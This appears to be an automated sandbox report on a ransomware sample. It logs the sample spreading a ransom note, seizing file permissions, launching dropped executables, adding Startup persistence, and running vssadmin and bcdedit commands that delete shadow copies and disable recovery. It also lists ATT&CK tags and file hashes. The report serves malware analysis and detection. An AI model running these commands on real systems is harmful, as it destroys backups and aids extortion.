C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\MICROS~2\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft Help\Hx_1033_MValidator.Lck" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft Help\Hx_1033_MValidator.Lck"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft Help\Hx_1033_MValidator.Lck" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft Help\Hx_1033_MValidator.Lck"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\MOZILL~1\updates\308046~1\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\PACKAG~1\{33D1F~1\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\PACKAG~1\{4D8DC~1\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\PACKAG~1\{57A73~1\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\PACKAG~1\{61087~1\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\PACKAG~1\{CA675~1\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\PACKAG~1\{EF6B0~1\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Default\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\Default\NTUSER.DAT.LOG2" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\Default\NTUSER.DAT.LOG2"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\Default\NTUSER.DAT.LOG2" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\Default\NTUSER.DAT.LOG2"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Public\LIBRAR~1\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\VCFPLA~1\MVBJbShf.exe" > "C:\Users\Admin\AppData\Local\Temp\OhxPtW9C.exe" && "C:\Users\Admin\AppData\Local\Temp\OhxPtW9C.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\" "Doz0JokIxnIySJiJ" "TOTALCIP_228" "60000"5⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\OhxPtW9C.exe"C:\Users\Admin\AppData\Local\Temp\OhxPtW9C.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\" "Doz0JokIxnIySJiJ" "TOTALCIP_228" "60000"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\OhxPtW9C.exe"C:\Users\Admin\AppData\Local\Temp\OhxPtW9C.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\" "Doz0JokIxnIySJiJ" "TOTALCIP_228" "60000"7⤵
- Executes dropped EXE
- Enumerates connected drives
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\WhQNxo5p.cmd"8⤵
-
C:\Windows\SysWOW64\PING.EXEping -n 3 localhost9⤵
- Runs ping.exe
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\VCFPLA~1\MVBJbShf.exe" > "C:\Users\Admin\AppData\Local\Temp\mMXTUENU.exe" && "C:\Users\Admin\AppData\Local\Temp\mMXTUENU.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\" "Doz0JokIxnIySJiJ" "FINISH" "60000"5⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\mMXTUENU.exe"C:\Users\Admin\AppData\Local\Temp\mMXTUENU.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\" "Doz0JokIxnIySJiJ" "FINISH" "60000"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\mMXTUENU.exe"C:\Users\Admin\AppData\Local\Temp\mMXTUENU.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\" "Doz0JokIxnIySJiJ" "FINISH" "60000"7⤵
- Executes dropped EXE
- Enumerates connected drives
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\P59wUORi.cmd"8⤵
-
C:\Windows\SysWOW64\PING.EXEping -n 3 localhost9⤵
- Runs ping.exe
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\DOZ0JO~1.HTA" > "C:\Users\Admin\AppData\Roaming\MICROS~1\Windows\STARTM~1\Programs\Startup\Doz0JokIxnIySJiJ.hta"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\DOZ0JO~1.HTA" > "C:\PROGRA~3\MICROS~1\Windows\STARTM~1\Programs\Startup\Doz0JokIxnIySJiJ.hta"5⤵
- Drops file in Program Files directory
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\cn8aVZuc.cmd"5⤵
-
C:\Windows\SysWOW64\PING.EXEping -n 5 localhost6⤵
- Runs ping.exe
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\Doz0JokIxnIySJiJ.hta"6⤵
- Modifies Internet Explorer settings
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\O4MnE54p.cmd"3⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping -n 3 localhost4⤵
- Runs ping.exe
-
-
-
-
C:\Windows\system32\cmd.execmd.exe /c vssadmin.exe delete shadows /all /quiet & bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures1⤵
- Process spawned unexpected child process
-
C:\Windows\system32\vssadmin.exevssadmin.exe delete shadows /all /quiet2⤵
- Interacts with shadow copies
-
-
C:\Windows\system32\bcdedit.exebcdedit.exe /set {default} recoveryenabled no2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit.exe /set {default} bootstatuspolicy ignoreallfailures2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
Direct Volume Access
1Hide Artifacts
1Hidden Files and Directories
1Indicator Removal
2File Deletion
2Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5ace304f43944cd8003c499f30cc50019
SHA1eaebe42295c4b60acbcf017e86a5b679a141b210
SHA25642ab02bbb21cdaaa7631fe27aaa611fe107affe68d133436c2a43e705c94017d
SHA51225ea5b35ee368c1c690a228d3cf6bed6185ffc398b3353e1da8be1be316783a359566476a2f4dfeef4bbdc722d93b1d91ffcf5634f5505876d2070b7340f63e5
-
Filesize
363KB
MD536a0cefeb8b0a606358142d4140ea7cf
SHA103ce13b4f60d2fc632b67b41b82b5e8cfaf9939f
SHA256467c2b23b785df7b45758143387e9cc5a588718ae0640b3f01b1c19679b011be
SHA51263304f3ddca578beac157197581e6a2a762d9cf1fb08fa6ae85dcdc26340ae64badb0f4a9cb47521315c366b70bd0cf89bf1b72be29f89e2d91504cec7ca9093
-
Filesize
5KB
MD5e577043d8a80899885919d6401d0a1bf
SHA11237b91c3750633c02bb01dfbc2aa36c4ae117c4
SHA2569c262391c3b87e98d33b8adec7e25918601d75c734d8d554ce424787bf658419
SHA512107aaa7f7bbffb63ef0c1131dd0a0345c3682f3d8aa8f77f80f381859373d15fb07a79dab0f6437abc81ddd4272b4ac6f6dc19860d5ac9a9751bca4940b20644
-
Filesize
141B
MD5e0112890aa81621e5b861e3174006107
SHA1695474de1d10a6318a2a13de8a1968dffba7a766
SHA25682af436448896434358928b44d9eef615ef1856829fc528abd6e54d380e96704
SHA512f2c3881a49889e8d7fca4b56440a9052a40e40d738bae810ba98c24488952a1860082f73bec2ad702d793a926c775ae57ad842ce1e97fa3bbb4dd8ba959ccc69
-
Filesize
141B
MD570e41798d78ff99f023db4d3e2ad495d
SHA11316c3b1481f5e7e0cf61ed1d17701a6620ecd0f
SHA256f419b969138c8966126c2866f8930ba41498ab6cfb3ed259ac3e59afe7fc41b9
SHA51270815985783d2a87aba07cfb746810bc8ec7e59fdc1aad9eaf5af7ae1034a0cadd7d28ad85781c61fb31f3e313b4ecf9f7db387a128738c5f295976ce9a905b4
-
Filesize
141B
MD5cbd5669f38420d6dcdeef6fb7061a1c1
SHA13c0a0954cc05b131790927f45f537f9d69fa21e4
SHA25618fbd58e07ba33b754652f7ac17955a33e29abbf29c05b320bd7e9d503d756d8
SHA512ca466ee33f123083ac7fc593d3c254e76deffe9988001f4ef796445708eaa1b50c7071ddeef2584ab77cc8c5472d941da0e7dbbc9a85ce1dcf31ea3741f1f4f8
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
264KB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
4KB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB